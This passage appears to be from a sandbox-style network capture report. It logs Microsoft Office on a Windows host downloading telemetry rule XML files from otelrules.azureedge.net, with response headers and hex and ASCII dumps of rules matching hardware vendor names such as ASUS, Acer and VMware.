2024-11-05 19:51:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:10 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: c0039004-a01e-0070-7e5f-2e573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195110Z-157b9fd754fpgz5vhC1SN1qzrn00000004vg000000004rk6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:10 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49742	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:10 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:10 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: ea0f8f90-301e-0020-7758-2e6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195110Z-157b9fd754ftc7cbhC1SN1xe2w00000004u0000000005587 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:10 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49741	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:10 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:10 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: f5f9dbe8-f01e-0071-2e5c-2e431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195110Z-158dbd74bf49gc9fhC1SN11n8000000004h00000000021rg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:10 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49743	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:10 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:10 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 38302bdf-e01e-0052-3b4a-2ed9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195110Z-158dbd74bf4tfjlhhC1SN1m374000000049g000000008qrx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:10 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49744	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:10 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:10 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:10 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 676680a8-d01e-0082-1c5c-2ee489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195110Z-158dbd74bf49gc9fhC1SN11n8000000004gg000000002ck2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:10 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49746	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:11 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:11 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: c6ee189f-401e-000a-354b-2e4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195111Z-158dbd74bf4sq2b7hC1SN1zzdg00000004hg000000001gz1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:11 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49745	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:11 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:11 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: bfc5cfc9-a01e-0070-0546-2e573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195111Z-157b9fd754f26z4rhC1SN1futw00000004z0000000001p45 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:11 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49747	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:11 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:11 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 23d3b202-401e-0083-108e-2d075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195111Z-157b9fd754frph49hC1SN1dtxw000000050g0000000034ha x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:11 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49748	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:11 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:11 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 9ed27c23-f01e-0020-6955-2e956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195111Z-157b9fd754fnxhv5hC1SN14xvn00000004tg0000000084cy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:11 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49749	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:11 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:11 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: ea225b5e-301e-0020-755f-2e6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195111Z-158dbd74bf4gbnjwhC1SN1gt5000000004a0000000007cr6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:11 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49750	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:12 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:12 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 11ffd83c-b01e-003d-6a61-2ed32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195112Z-157b9fd754fhz277hC1SN17yhw0000000510000000002nsf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:12 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49751	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:12 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:12 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: f9b7bb91-701e-0021-1460-2e3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195112Z-158dbd74bf4jjjdmhC1SN1vmen00000004m000000000223g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:12 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49752	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
